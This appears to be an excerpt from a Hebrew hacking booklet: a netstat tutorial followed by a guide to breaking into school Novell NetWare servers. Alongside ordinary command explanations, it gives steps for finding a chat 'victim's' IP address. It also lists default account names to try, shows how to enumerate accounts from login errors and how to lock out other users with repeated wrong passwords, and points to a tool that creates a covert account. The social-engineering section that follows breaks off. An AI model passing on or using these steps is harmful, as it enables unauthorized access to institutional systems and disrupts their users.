‫זהו להיום‪ ,‬אני מקווה שהבנתם משהו‪ ,‬ואם לא לא משנה!‬
‫‪HaSaTaN‬‬

‫‪Netstat‬‬
‫א‪.‬מה זה ‪?Netstat‬‬

‫‪ Netstat‬היא תוכנה שמגיעה ביחד עם ‪ Win‬ויש לו יכולות מאוד גבוהות‪.‬‬


‫מה שהיא עושה זה להראות לך את כל החיבורים שברגע שהפעלת את זה קיימים (עוד נגדיר מה‬
‫זה קיימים)‪.‬‬
‫היא בעצם מראה לך‪ Routing table :‬בכל הפרוטוקולים‪.‬‬

‫**‬

‫*‬

‫ב‪ .‬מה הלאה? ‪:‬‬

‫כמו בכל תוכנה אחרת שעובדת מצב דוס ומורכבת ב‪ Win :‬גם ‪ Netstat‬מקבלת פרמטרים‪.‬‬
‫הפרמטר הראשון שנראה‪ ,‬זה כמובן‪.? :‬‬
‫לחצו‪ :‬התחל < הפעלה‪**( :‬תישרו לשמאל**)‪.‬‬
‫‪?\ netstat‬‬
‫התוצאה ‪ -‬זה כל הפרמטרים האפשריים שיש ב‪.Netstat :‬‬

‫אוקי‪ ,‬התחברתי לאינטרנט‪.‬‬


‫אנחנו נעבוד עכשיו על הפרמטר‪( -a :‬מציג את כל החיבורים הקיימים תור ‪ client‬ולא בתור‬
‫‪.)Server‬‬

‫*****תישרו לשמאל*****‬

‫‪C:\windows>netstat -a‬‬

‫‪318‬‬
‫‪Active Connections‬‬

‫‪Proto Local Address‬‬ ‫‪Foreign Address‬‬ ‫‪State‬‬

‫‪TCP LocalHost:1031‬‬ ‫‪dwarf.box.sk:ftp‬‬ ‫‪ESTABLISHED‬‬

‫‪TCP LocalHost:1036‬‬ ‫‪dwarf.box.sk:ftp-data‬‬ ‫‪TIME_WAIT‬‬

‫‪TCP LocalHost:1043‬‬ ‫‪banners.egroups.com:80‬‬ ‫‪FIN_WAIT_2‬‬

‫‪TCP LocalHost:1045‬‬ ‫‪mail2.mtnl.net.in:pop3‬‬ ‫‪TIME_WAIT‬‬

‫‪TCP LocalHost:1052‬‬ ‫‪zztop.boxnetwork.net:80 ESTABLISHED‬‬

‫‪TCP LocalHost:1053‬‬ ‫‪mail2.mtnl.net.in:pop3‬‬ ‫‪TIME_WAIT‬‬

‫*‪*:‬‬ ‫‪UDP LocalHost:1025‬‬

‫*‪*:‬‬ ‫‪UDP LocalHost:nbdatagram‬‬

‫ניקח שורה אחת לדוגמא‪:‬‬


‫‪TCP LocalHost:1031‬‬ ‫‪dwarf.box.sk:ftp‬‬ ‫‪ESTABLISHED‬‬

‫הערך הראשון שאנחנו רואים פה זה‪ .TCP :‬זה שם הפרוטוקול‪ ,‬יכול להיות פה‪:‬‬
‫‪TCP .1‬‬
‫‪Transmission Control Protocol .2‬‬
‫‪UDP .3‬‬
‫‪User Datagram Protocol .4‬‬
‫‪IP .5‬‬
‫‪Internet Protocol .6‬‬
‫הכל תלוי בסוג המחשב‪ ,‬הרכיבים‪ ,‬החומרה וגרסת ה‪.Windows -‬‬

‫הערך הבא הוא‪ LocalHost: :‬זה אומר לנו את השם שהגדרת כשהתקנת את ה‪ Win -‬לשמש‬
‫כשם רשת למחשב שלך (הערה‪ :‬מי שקרא את המדריך שלי שמסביר על ‪ NetBeuI‬מבין את זה‬
‫יותר טוב (‪.) :-‬‬

‫הערך הבא זה הפורט בפנימי שהמחשב פתח‪.‬‬


‫הסבר קטן‪:‬‬
‫ישנם שתי סוגי פורטים‪:‬‬
‫א‪ .‬פורט פנימי‪.‬‬
‫ב‪ .‬פורט חיצוני‪.‬‬
‫הפורטים החיצוניים הרבה יותר מוכרים מהפורטים הפנימיים‪.‬‬
‫הפורטים החיצוניים אלה ה‪ HTTP=80 FTP=21 TELNET=23 :‬וכו'‪ ,‬הפורטים האלה‬
‫נקראים חיצוניים בגלל שהם נפתחים על ה‪ Server -‬ולא על המחשב שלך‪.‬‬
‫פורטים פנימיים נפתחים על המחשב שלך בשביל ליצור קשר עם הפורטים החיצוניים‪...‬‬
‫תרשים קטן יסביר את זה יותר טוב‪:‬‬

‫‪319‬‬
‫‪ >- LocalHost :client‬נפתח פורט פנימי ב‪ >- LocalHost -‬מידע נשלח ל‪ IP -‬מסוים‪.‬‬
‫‪ >- ServerHost :host‬נפתח פורט חיצוני על השרת עקב פנייה של ‪ >- LocalHost‬מידע‬
‫מתקבל מ‪ IP -‬מסוים‪.‬‬

‫הערה‪:‬‬
‫פורטים פנימיים תמיד יהיו גדולים מ‪.1024 -‬‬

‫הבנתם? יופי!‬
‫הערך הבא נותן לנו את השם של ה‪ Host -‬בצורת ‪ ASCII‬ולא בערך מספרי (יענו לא ב‪ IP -‬אלא‬
‫בהוסט)‪.‬‬
‫במקרה שלנו הערך הוא‪.dwarf.box.sk :‬‬

‫הערך הבא מראה לנו את הפורט החיצוני הפתוח על ה‪ Host -‬או את השם של הפרוטוקול בו‬
‫מועבר המידע‪.‬‬
‫במקרה שלנו‪ ,‬אנחנו רואים‪:ftp :‬‬
‫ואתם כבר יכולים להבין שמדובר בפרוטוקול ה‪.FTP -‬‬

‫הערך הבא‪ ,‬נותן לנו את המצב בו נמצאת ההתחברות שלנו עם אותו ‪.Host‬‬
‫אני לא רוצה להרחיב על המשמעות הרחבה של הדבר הזה‪ ,‬זה כבר מתאים למדריך אחר‪ ,‬מדריך‬
‫על מצבים ברשת‪ ,‬אולי מתישהו אני יכתוב עליו מדריך‪.‬‬
‫בכל מקרה‪ ,‬המצב בו נמצאת ההתחברות שלנו‪ ,‬הוא‪.ESTABLISHED :‬‬
‫שזה אומר‪ ,‬ההתחברות מבוססת והמידע זורם כל הזמן ללא שום בעיות‪.‬‬

‫הפרמטר ‪ -a‬הוא בדרך משומש ברוב המקרים‪ .‬הוא נותן לנו רשימה של פרוטוקולים ופורטים‬
‫שפתוחים על המחשב שלנו‪ ,‬כלומר על ה‪ .LocalHost :‬הוא גם מאוד יעיל כדי לבדוק אם יש לנו‬
‫סוס טרויני על המחשב‪.‬‬
‫ברגע שנריץ ‪ Netstat -a‬ונראה‪ :‬פורט של סוס‪-‬טרויני נוכל לטפל בזה כראוי‪.‬‬
‫נכון שיש תוכנות שמטפלות בזה הרבה יותר בקלות‪ ,‬אבל אנחנו "האקרים" (סעמק‪ )...‬אנחנו לא‬
‫צריכים תוכנות‪ .‬חוץ מזה הרבה יותר כיף לטפל בטרויני באופן ידני‪ ,‬מאשר ללחוץ על כפתור "‬
‫‪ "scan‬באיזה תוכנה מסכנה‪.‬‬

‫דרך אגב‪:‬‬

‫)‪Port 12345(TCP‬‬ ‫‪Netbus‬‬

‫)‪Port 31337(UDP‬‬ ‫‪Back Orifice‬‬

‫**‬

‫*‬
‫ג‪ .‬שימוש בפרמטר ‪: -n‬‬

‫אוקי‪ ,‬נתקדם הלאה‪ ,‬ישנו עוד פרמטר מאוד חשוב‪ -n :‬הוא מראה לנו את אותו הדבר רק‬
‫בערכים מספריים (יענו מספרי ‪.)IP‬‬
‫נראה דוגמא‪:‬‬

‫**תישרו לשמאל**‬

‫‪C:\>netstat -n‬‬

‫‪320‬‬
‫‪Active Connections‬‬

‫‪Proto‬‬ ‫‪Local Address‬‬ ‫‪Foreign Address‬‬ ‫‪State‬‬

‫‪TCP 203.xx.251.161:1031‬‬ ‫‪194.1.129.227:21‬‬ ‫‪ESTABLISHED‬‬

‫‪TCP 203.xx.251.161:1043 207.138.41.181:80‬‬ ‫‪FIN_WAIT_2‬‬

‫‪TCP 203.xx.251.161:1053‬‬ ‫‪203.94.243.71:110‬‬ ‫‪TIME_WAIT‬‬

‫‪TCP 203.xx.251.161:1058‬‬ ‫‪194.1.129.227:20‬‬ ‫‪TIME_WAIT‬‬

‫‪TCP 203.xx.251.161:1069‬‬ ‫‪203.94.243.71:110‬‬ ‫‪TIME_WAIT‬‬

‫‪TCP 203.xx.251.161:1071‬‬ ‫‪194.98.93.244:80‬‬ ‫‪ESTABLISHED‬‬

‫‪TCP 203.xx.251.161:1078‬‬ ‫‪203.94.243.71:110‬‬ ‫‪TIME_WAIT‬‬

‫שימו לב‪ ,‬התוצאות דומות אך ישנם הבדלים קטנים!‬


‫דבר ראשון‪ ,‬אנחנו רואים את שתי ההבדלים הראשונים שברורים מאוד לעין‪:‬‬

‫‪ .1‬הערך שב‪ -a :‬הביא לנו‪ LocalHost :‬עכשיו מביא לנו את ה‪ IP -‬של המשתמש הלוקאלי‬
‫(יענו אתה)‪.‬‬
‫‪ .2‬הערך של ההוסט נראה בצורת מספרים ולא בצורת אותיות (דבר שיכול לזרז את העניינים)?‬
‫ההבדל שלא שמתם לב‪ ,‬הוא זה ש‪ -n :‬מתעלם מכל פרוטוקול חוץ מ‪ .UDP -‬כלומר‪ ,‬שאם תהיה‬
‫התחברות ‪ UDP‬ותלחצו‪:‬‬
‫‪ netstat -n‬לא תראו אותה‪ ,‬זה חיסרון יחסית גדול של ‪!! -N‬‬
‫תוכלו להשתמש ב‪ -n :‬כדי לגלות את מספר ה‪ IP -‬שלכם‪ ,‬כמובן שתוכלו לעשות גם‪:‬‬
‫התחל ‪ >-‬הפעלה‪:‬‬
‫‪ >- winipcfg‬מספר ‪.IP‬‬

‫אבל‪ ....‬תעשו מה שבא לכם‪...‬‬

‫ד‪ .‬השלב המעשי‪:‬‬

‫אוקי‪.‬‬
‫בכל פריצה ישנם שתי דברים בסיסיים מאוד שצריך לעשות‪:‬‬
‫א‪ .‬להסתיר את ה‪ IP -‬שלך‪.‬‬
‫ב‪ .‬לגלות את ה‪ IP -‬של הקרבן‪.‬‬
‫בזמן האחרון (שנתיים חמש) התחילו אנשים לנסות להשתמש בכל מיני תוכנות להסתרת ה‪IP -‬‬
‫ןגילוי ‪ IP‬של אנשים אחרים אני ממש לא אוהב את השטויות האלה‪ ,‬ואתם תראו שגם אתם לא‬
‫ממש תאהבו את זה‪...........‬‬

‫‪ I Seek You‬או ‪ ICQ‬הוא כלי שמלא אנשים משתמשים בו‪ ,‬ובגלל זה ניסו להחדיר בו אמצעי‬
‫בטיחות (זולים)‪.‬‬

‫‪321‬‬
‫בתוך ה‪ ICQ -‬ישנו מסתיר ‪ IP‬מובנה‪ .‬דבר זה אינו יעיל כמו שאר התוכנות שמנסות לעשות את‬
‫הפעולה‪.‬‬
‫אתה (כן‪ ,‬כן! אתה!!) יכול לגלות ‪ IP‬של כל משתמש ‪ ICQ‬שרק בא לך!‬
‫עקוב אחרי התליכים הבאים‪:‬‬

‫‪ )1‬לך ל‪ :‬התחלה ‪ >-‬הפעלה‪.coammand :‬‬


‫‪ )2‬בחלון דוס שנפתח לך רשום‪netstat -n > log1.txt :‬‬
‫‪ )3‬לחץ‪ :‬התחל ‪ >-‬חיפוש ‪ >-‬קבצים או תיקיות‪ - log1.txt :‬הוא ימצא לך קובץ ‪ -‬תעתיק אותו‬
‫לשולחן‬
‫עבודה (אנחנו נשתמש בו בהמשך)‪.‬‬
‫‪ )4‬כעת פתח את ה‪ ICQ -‬ותתחיל לצ'וטט עם הקרבן‪ ,‬תוך כדי צ'יטוט (חייב להיות תוך כדי)‬
‫הקלד‪:‬‬
‫‪ - netstat -n > log2.txt‬הוא ימצא לך קובץ ‪ -‬תעתיק אותו לשולחן עבודה (אנחנו נשתמש בו‬
‫בהמשך)‪.‬‬
‫‪ )5‬עכשיו‪ ,‬תעשה השוואה בין שתי הקבצים‪ ,‬זכור!‬
‫‪ log1.txt‬הוא הקובץ המקורי‪ ,‬הסתכל עליו טוב ‪ -‬עכשיו פתח את ‪ log2.txt‬אתה תראה‬
‫שהתווסף ‪!IP‬‬
‫זהו ה‪ IP -‬של הקרבן‪.‬‬

‫אם לא הבנתם מה עשיתי‪ ,‬אז לא הבנתם את הכתבה עד לפה ואתם לא תבינו את הדברים‬
‫הבאים שאני הולך לכתוב!‬
‫קראו את הכל עוד פעם ועוד פעם!‬

‫ה‪ .‬שימוש ב‪: -p :‬‬

‫עד עכשיו‪ ,‬כשהשתמשנו ב‪ -n :‬וב‪ -a :‬קיבלנו רשימה של כל הפרוטוקולים שבהם יש‬


‫התחברויות כלשהן‪.‬‬
‫נניח שאתה רוצה לראות רק את ההתחברויות רק מפרוטוקול ‪ ,TCP‬מה עושים?‬
‫בשביל יש את הפרמטר ‪.-p‬‬
‫ראו דוגמא‪:‬‬

‫‪C:\>netstat -p tcp‬‬

‫‪Active Connections‬‬

‫‪Proto Local Address‬‬ ‫‪Foreign Address‬‬ ‫‪State‬‬

‫‪TCP ankit:1031‬‬ ‫‪dwarf.box.sk:ftp‬‬ ‫‪ESTABLISHED‬‬

‫‪TCP ankit:1043‬‬ ‫‪banners.egroups.com:80 FIN_WAIT_2‬‬

‫‪TCP ankit:1069‬‬ ‫‪mail2.mtnl.net.in:pop3 TIME_WAIT‬‬

‫‪TCP ankit:1078‬‬ ‫‪mail2.mtnl.net.in:pop3 TIME_WAIT‬‬

‫‪TCP ankit:1080‬‬ ‫‪mail2.mtnl.net.in:pop3 TIME_WAIT‬‬

‫‪322‬‬
‫‪TCP ankit:1081‬‬ ‫‪www.burstnet.com:80‬‬ ‫‪FIN_WAIT_2‬‬

‫‪TCP ankit:1083‬‬ ‫‪zztop.boxnetwork.net:80 TIME_WAIT‬‬

‫הטבלה הזאת תראה לנו רק את החיבורים מסוג ‪ ,TCP‬כי אחרי שכתבנו‪ -n :‬רשמנו ‪.TCP‬‬
‫אז לא נראה שום דבר אחר חוץ מחיבורים בפרוטוקול ‪.TCP‬‬

‫ישנה טכניקה לא ממש ידועה בתוכנת ה‪ Netstat -‬שאנשים לא ממש מכירים‪.‬‬


‫אפשר לשלב כמה פרמטרים פרמטרים בבת אחת‪.‬‬
‫נסביר‪:‬‬
‫נניח שאתה רוצה את כל ההתחברויות רק ב‪ TCP -‬בפורמט מספרי ולא בצורת אותיות‪ ...‬מה‬
‫אתה עושה?‬
‫אז ככה‪:‬‬
‫‪netstat -p tcp -n‬‬
‫אתה תקבל את זה‪:‬‬

‫‪Proto Local Address‬‬ ‫‪Foreign Address‬‬ ‫‪State‬‬

‫‪TCP‬‬ ‫‪203.xx.251.161:1031‬‬ ‫‪194.1.129.227:21‬‬ ‫‪ESTABLISHED‬‬

‫‪TCP‬‬ ‫‪203.xx.251.161:1043 207.138.41.181:80‬‬ ‫‪FIN_WAIT_2‬‬

‫‪TCP‬‬ ‫‪203.xx.251.161:1053‬‬ ‫‪203.94.243.71:110‬‬ ‫‪TIME_WAIT‬‬

‫‪TCP‬‬ ‫‪203.xx.251.161:1058‬‬ ‫‪194.1.129.227:20‬‬ ‫‪TIME_WAIT‬‬

‫‪TCP‬‬ ‫‪203.xx.251.161:1069‬‬ ‫‪203.94.243.71:110‬‬ ‫‪TIME_WAIT‬‬

‫‪TCP‬‬ ‫‪203.xx.251.161:1071‬‬ ‫‪194.98.93.244:80‬‬ ‫‪ESTABLISHED‬‬

‫‪TCP‬‬ ‫‪203.xx.251.161:1078‬‬ ‫‪203.94.243.71:110‬‬ ‫‪TIME_WAIT‬‬

‫אני מקווה שזה ברור!‬

‫**‬

‫*‬
‫ו‪ .‬שימוש בפרמטר‪: -e :‬‬

‫קודם בואו נראה מה זה מוציא לנו‪: .....‬‬

‫‪Interface Statistics‬‬

‫‪Received‬‬ ‫‪Sent‬‬

‫‪Bytes‬‬ ‫‪1220282‬‬ ‫‪267383‬‬


‫‪Unicast packets‬‬ ‫‪3327‬‬ ‫‪3204‬‬

‫‪323‬‬
‫‪Non-unicast packets‬‬ ‫‪45‬‬ ‫‪45‬‬
‫‪Discards‬‬ ‫‪0‬‬ ‫‪0‬‬
‫‪Errors‬‬ ‫‪0‬‬ ‫‪0‬‬
‫‪Unknown protocols‬‬ ‫‪50‬‬

‫פרמטר זה מאוד יעיל לאיתור בעיות‪ ,‬נניח שיש לכם תקלה באיזה פרוטוקול‪ ,‬חצי מהפתרון של‬
‫הבעיה זה לגלות איפה הבעיה‪ ,‬תוכלו לעשות את זה בקלות ע"י‪:‬‬
‫‪!! netstat -e‬‬
‫הפלט שיצא לנו מאוד ברור ולא צריך הרבה הסברים‪.‬‬

‫‪HaSaTaN‬‬

‫‪Novel‬‬
‫לפני הכל‪:‬‬
‫* כדאי לכם לדעת שרוב שרתי הרשת ביה"ס הם מבוססי ‪ novell netware‬כך שהכתבה הזאת‬
‫לא לחינם (!!!)‪.‬‬
‫** הכתבה בנויה לפי קטעים‪ ,‬ואני לא ניגש ישר לפריצה! כך שיש לקרוא את הכתבה מההתחלה‬
‫ועד הסוף!‬
‫***זו הכתבה המקיפה ביותר על ‪ novell‬שנעשתה אי‪-‬פעם בעברית !!‬

‫השרת רשת של‪( novell netware -‬שמעכשיו יקרא‪ NN :‬בשביל לקצר את כל העסק)‪ ,‬מבוסס‬
‫על מערכת הפעלה של רשתות‪ .‬שלא כמו ‪ unix‬ו‪ ,NT -‬בנובל (‪ )NN‬לא נמצא הכל בתוכנית אחת‪.‬‬
‫(על תדאגו‪ ,‬אני אסביר הכל)‪.‬‬
‫‪ NN‬עצמו רץ בהתחלת הפעלת המחשב על גבי דוס (‪ ,)DOS‬כמו הדבר הבא‪ ms-dos :‬שאתם‬
‫וודאי מכירים‪ ,‬כך ה‪ NN -‬מריץ בתחילת המחשב דבר דומה שנקרא‪ ,dr-dos :‬ומשום כך‬
‫הפקודות הם כמעט אותו דבר!‬

‫כשהמחשב הגיע למצב‪( DOS -‬לאחר הפעלת המחשב)‪ ,‬ה‪ NN -‬מתחיל להריץ את עצמו‬
‫אוטומתית‪ ,‬ברגע שהוא סיים השרת (סוף סוף) יושב על הרשת‪ ,‬ומחכה לפקודות מהמשתמש‪.‬‬
‫ה‪ NN -‬מריץ שתי שטחים של שליטת ה‪ ,admin -‬האחד‪ consol :‬והשני נקרא‪( NDS :‬מה‬
‫אתם לחוצים? אני יסבי ה‪-‬כ‪-‬ו‪-‬ל!)‪.‬‬

‫‪324‬‬
‫מה הם ה‪ consol -‬וה‪?NDS -‬‬

‫‪.1‬ה‪:consol -‬‬
‫מהו?‬
‫‪ ,Ok‬זה לא כל כך מסובך‪ ,‬זהו המצב שבו שה‪ adminn -‬שולט (פוקד) על ה‪ NN -‬ע"י הקשת‬
‫פקודות הדומות (ממש דומות) לפקודות של‪.ms-dos -‬‬
‫לדוגמא‪ ,‬יכול להיות‪ ,‬שבתור ‪ admin‬תקבל במצב ‪ consol‬את הדבר הבא‪:‬‬

‫*זוכרים את הכלל? תישרו את הטקסט לשמאל‪ + ctrl .‬שיפט שמאליים‪ ,‬בשביל יישור לשמאל‪,‬‬
‫ימניים בכדי להחזיר למצב של עברית‪ ,‬יישור‬ ‫ו ‪ ctrl‬ו ‪shift‬‬
‫לימין*‬

‫‪> C:\WINDOWS‬‬

‫זה מה שחשבתם שתקבלו‪ ,‬נכון?‬


‫‪ -+‬לא‪ ,‬לא נכון ‪+-‬‬
‫אתם לא תקבלו פרטים בצורה הזאת על מקומכם‪ ,‬כעת אתם תקבלו משהו אחר!‬
‫אתם תקבלו את הדבר הבא‪:‬‬

‫*תישרו לשמאל*‬

‫‪: GANDALF‬‬

‫תשאלו אותי‪ ,‬מה זה?!‬


‫אני אסביר לכם‪ ,‬פקודות ה‪ console -‬לא נועדו לטיפול בקבצים או במשתמשים של ה‪ NN -‬אלא‬
‫בניהול השרת ע‪-‬צ‪-‬מ‪-‬ו!‬
‫את הפקודות האלה‪ ,‬של הקבצים והמשתמשים‪ ,‬אפשר לטפל בהם דרך כל מערכת הפעלה‬
‫לדוגמא‪:‬‬
‫‪ unix, linux ,NT ,windows‬וכו'‬
‫לא הבנתם?‬
‫נסביר יותר ברור!‬
‫אם המצב ‪ console‬היה מיועד לניהול קבצים ומשתמשים הוא באמת היה כותב משהו כמו ב‪-‬‬
‫‪ ,ms-dos‬אבל בגלל שהוא נועד לטפפל בשרת עצמו‪ ,‬לא צריך את זה‪ ,‬ויש פקודות טיפה שונות‬
‫בשביל המצב‪.console -‬‬
‫את הפקודות האלה‪ ,‬של הקבצים והמשתמשים‪ ,‬אפשר לטפל בהם דרך כל מערכת הפעלה‬
‫לדוגמא‪:‬‬
‫‪ unix, linux ,NT ,windows‬וכדומה‪.‬‬
‫עכשיו‪ ,‬בואו נבדוק מה זה אומר‪ ,‬הדבר שיופיעה במצב ‪ console‬מה זה‪:‬‬

‫‪: GANDALF‬‬

‫זה פשוט מאוד!‬


‫זה השם של השרת‪ ,‬ברגע זה‪ ,‬ה‪ admin -‬יוכל להשתמש בפקודות רק לצורך השרת שנקרא‬
‫משום מה פה‪!GANDALF :‬‬
‫די פשוט‪ ,‬לא?‬

‫ה‪ NDS -‬שנקרא גם‪Netware Directory Service :‬‬ ‫‪.2‬‬


‫מהו מצב ה‪ NDS -‬שעליו דיברנו בהתחלה?‬

‫‪325‬‬
‫‪ ,ok‬זהו המקום בו נמצא כל האינפורמציה לגבי המשתמשים והקבצים‪ ,‬ה‪ NDS -‬מחזיק את כל‬
‫האיפורמציה לגבי מערכת ההפעלה של נובל‪ ,‬זה באמת אחד הדברים שקרוב לוודאי אתם רוצים‬
‫ללמוד עליהם (להעיף חשבונות של נובל‪ ,‬לא???)‬
‫התוכנה המדהימה הזאת של ה‪ NDS -‬נמצאת בתור קובץ שנקרא‪ nwadmn32.exe :‬פשוט‬
‫חפשו אותו!‬
‫הוא חייב להיות שם‪ ,‬כי בדרך כלל אין בזה בעיה בטחונית (בדרך כלל‪ ,)....‬השימוש הזה נועד‬
‫בד"כ לצפייה בנתוני (סיסמא ושם) של המשתמשים‪.‬‬
‫קרוב לוודאי שלא תוכל לשנות את הפרטים‪ ,‬אך בד"כ תוכל לקרוא אותם‪.‬‬

‫איך לעזאזל אתם אמורים לדעת אם השרת של ביה"ס שלכם מריץ נובל ??‬
‫האמת‪ ,‬זה די פשוט!‬
‫מתי שתיכנס למערת ההפעלה שלך הוא יבקש את השם משתמש והסיסמא!‬
‫שמה אתה תראה את הלוגו המטופש של הנובל שנראה בצורת "‪ "N‬מודגשת באדום‪.‬‬

‫שאלה‪:‬‬
‫אני עדיין לא בטוח אם יש לי חשבון ובל‪ ,‬אני יודע שיש לי חשבון רגיל‪ ,‬אבל לא יותר! איך אני‬
‫יכול לבדוק את זה?‬
‫תשובה‪:‬‬
‫כמובן שאם יש לך חשבון אמיתי זה יעשה לך את החיים קלים מאוד‪ ,‬תמיד כשיש גישה קרובה‬
‫יותר עדיפה מלהתחיל על אפס‪ ,‬ללא חשבון‪ ,‬אבל בכל מקרה‪ ,‬כך בודקים את זה‪:‬‬
‫תיכנס ל‪ windows -‬ושם תלחץ את הסיסמא (אם יש) ואת שם המשתמש!‬
‫אחרי זה‪ ,‬תסתכל למטה‪ ,‬בשורת משימות‪ ,‬ותבדוק אם מופיעה שם האות "‪ ,"N‬דבר זה נועד‬
‫למשתמשים שרוצים להל את החשבון שלהם‪ ,‬כלומר יש לך גישה!‬
‫בתוך הדבר שאליו מגיעים כשלוחצים על האות "‪ "N‬יש כמה אפוציות מאוד מעניינות שאני‬
‫אפרט עליהם בהמשך!‬
‫אפשרות שנייה היא‪:‬‬
‫תיכנס למחשב שלי (‪ )my computer‬ושם תלחץ לחיצה ימנית על אחד כונני הרשת‪ ,‬שהם בדרך‬
‫כלל‪ ,‬לא נקראים ‪ ,A, B, C‬ו‪ .D -‬אם אתה רואה שבתפריט שנפתח לך יש כמה אפשרויות אם‬
‫האות ‪ ,N‬יש לך חשבון!‬
‫די פשוט‪......‬‬

‫שאלה‪:‬‬
‫אמממממממממממממ‪ ......‬אין לי חשבון‪ ,‬איזה חשבונות שהמערכת מקבלת אוטומטית אם‬
‫התקנתה על השרת?‬
‫ואיך אני יכול למצוא חשבון שעובד?‬
‫תשובה‪:‬‬
‫אוקי‪ ,‬אז הנה הרשימה של כל דבר‪ ,‬שם המשתמש (בכאלה חשבונות אין סיסמא) ומטרתו‪:‬‬
‫עוד הערה קטנה‪ :‬אני לא יהביא את כל הרשימה‪ ,‬אלא רק את הדברים החשובים ביותר‪ ,‬אם דבר‬
‫אחד לא עובד לכם‪ ,‬תנסו להשתמש בשמות משתמש שמשמשים לאותו דבר (יהיה כתוב כנ"ל‬
‫אם זה נאמר למעלה בדבר הקודם)‪.‬‬

‫מטרת החשבון האוטומטי‬ ‫שם המשתמש (שם החשבון)‬

‫נועד למתן שרות ההדפסה‬ ‫‪PRINT‬‬


‫כנ"ל‪ ,‬רק שונה‬ ‫‪LASER‬‬
‫כנ"ל‪ ,‬רק שונה‬ ‫‪HPLASER‬‬
‫כנ"ל‪ ,‬רק שונה‬ ‫‪PRINTER‬‬
‫כנ"ל‪ ,‬רק שונה‬ ‫‪LASERWRITER‬‬
‫נועד למתן שירות שליחת וקבלת דואר אלקטרוני‬ ‫‪POST‬‬
‫כנ"ל‪ ,‬רק שונה‬ ‫‪MAIL‬‬
‫כניסה למחשב שמחבר את שתי הרשתות‬ ‫‪GATEWAY‬‬
‫כנ"ל‪ ,‬רק שונה‬ ‫‪GATE‬‬

‫‪326‬‬
‫מתן שירות של שליחת אימייל‬ ‫‪ROUTER‬‬
‫גיבוי‪ ,‬יכול להיות שדבר זה יוגבל בסיסמא‪ ,‬פרטים בהמשך הכתבה‬ ‫‪BACKUP‬‬
‫כנ"ל‪ ,‬רק שונה‬ ‫‪WANGTEK‬‬
‫נתן גישה למודם של הפקס‬ ‫‪FAX‬‬
‫כנ"ל‪ ,‬רק שונה‬ ‫‪FAXUSER‬‬
‫כנ"ל‪ ,‬רק שונה‬ ‫‪FAXWORKS‬‬

‫שאלה‪:‬‬
‫איך אני אמור לדעת אם חשבון עם השם מתשתמש‪( x :‬דוגמא בלבד) פעיל?‬
‫תשובה‪:‬‬
‫אם אתה יודע את הסיסמא נסה אותה‪ ,‬ואם היא עובדת‪ ,‬כמובן שהחשבון זמין!‬
‫אבל‪ ,‬אם אתה מקבל '‪ 'error password‬או משהו שיש בו את המילה ‪ ,password‬או שכתוב‬
‫את ההודעה הבאה '‪ ,'unknow error‬זה שונה‪.‬‬
‫אם תקבל‪ 'error password' :‬החשבון פעיל‪ ,‬אבל אתה לא יודע את סיסמתו!‬
‫ואם תקבל‪ 'unknow error' :‬החשבון אינו חשבון בכלל!‬

‫עכשיו מתחיל האקשן!‬

‫שאלה‪:‬‬
‫איך אני יכול להפוך חשבון עובד‪ ,‬לחשבון שלא עובד?‬
‫תשובה‪:‬‬
‫‪ ,ok‬זה כל כך פשוט‪ ,‬שאתם תיצחקו אחרי שאני יגיד לכם!‬
‫כל ‪ admin‬מקבל את האפשרות לשנות את מספר הפעמים בהם המחשב ימשיך לקבל סיסמא‬
‫לא נכונה‪ ,‬ברירת המחדל היא פעם אחת‪ ,‬אבל רוב ה‪ admins -‬מחליפים את זה!‬
‫אז בטח כבר הבנתם מה צריך לעשות‪ ,‬אבל הנה השלבים להפוך חשבון זמין‪ ,‬ללא זמין!‬
‫‪ .1‬קודם כל קחו בחשבון שאין לכם מושג כמה פעמים המחשב יקבל סיסמא שגויה‪ ,‬אז קחו‬
‫מחשב שתוכלו להיות עליו הרבה זמן‪ ,‬או במקרה הטוב קצת זמן (זה תלוי בטיפשות של ה‪-‬‬
‫‪ admin‬שהוא המנהל !!!)‪.‬‬
‫‪ .2‬הקישו את השם משתמש‪ ,‬והקישו סיסמא שהיא ב‪ 100% -‬לא נכונה‪ ,‬ליחצו ‪,ENTER‬‬
‫אתם מקבלים הודעת ‪ ,error‬נכון? יופי‪ ,‬זה בדיוק מה שצריך להיות‪ ,‬תילחצו כמה פעמים‬
‫שאתם יכולים‪ ,‬עוד פעם ועוד פעם‪ ,‬כמה שתילחצו יותר על כניסה (עם סיסמא שגויה כמובן) כך‬
‫יגדל הסיכוי שלכם לנעול את החשבון עד שה‪ admin -‬יחזיר את החשבון (הוא יכול לעשות את‬
‫זה אוטומטית‪.‬‬

‫שאלה‪:‬‬
‫תגיד‪ ,‬אתה יודע אתה כזה חכם‪ ,‬אולי אתה מכיר עוד שיטה?‬
‫תשובה‪:‬‬
‫תודה על המחמאה‪ ,‬כמובן‪ ,‬יש תוכנה שנקראת‪ NW-HACK.exe :‬חפשו אותה ב‪google.com -‬‬
‫בטוח תמצאו‪ ,‬מה שהתוכנה עושה זה כך‪:‬‬
‫אחרי הפעלתה‪ ,‬התוכנה מחכה לאדמין (‪ )admin‬ומתי שהוא נכנס היא יוצרת (שזה כאילו שהוא‬
‫יצר‪ ,‬ה‪ )admin -‬חשבון בשבילכם !!!‬
‫‪cool‬‬

‫שאלה‪:‬‬
‫אני יודע שאני קצת חוצפן‪ ,‬אבל יש עוד שיטה??‬
‫תשובה‪:‬‬
‫קודם כל‪ ,‬על תתביש לשאול‪ ,‬דבר שני‪ ,‬כמובן! דווקא שיטה די מגניבה!‬

‫הבהרה‪:‬‬
‫*חשוב לקרוא*‬
‫*בהבהרה הזאת אני יביא קצת פסיכולגיה‪ ,‬אל תיבהלו‪ ,‬זה יעזור לכם ב‪ 100% -‬אחוז!*‬

‫‪327‬‬
‫רוב האנשים שיש להם חשבון אדמין (‪ )admin‬חושבים שהם האנשים שמבינים במחשבים‬
‫יותר מכל בן אדם אחר בעולם לגבי המערכת שלהם (‪ ,)novell‬ועוד דבר‪ ,‬הםם חושבים שאתם‬
‫הבני‪-‬אדם הכי אידיוטים בעולם!‬
‫בד"כ הם צודקים‪ ,‬אבל אחרי שתקראו ותבינו את הכתבה הזאת‪ ,‬זה כבר יהיה טעות!‬
‫בכל מקרה‪ ,‬זה די טוב שהם נמצאים עם האף למעלה‪ ,‬יהיה לכם הרבה יותר קל לעבוד עם אדמין‬
‫(‪ )admin‬שבטוח שאתם‪ ,‬הילדים המעוררי‪-‬רחמים האלה יחדרו לתוך המערכת ה"מתוחכמת"‬
‫שלו!‬
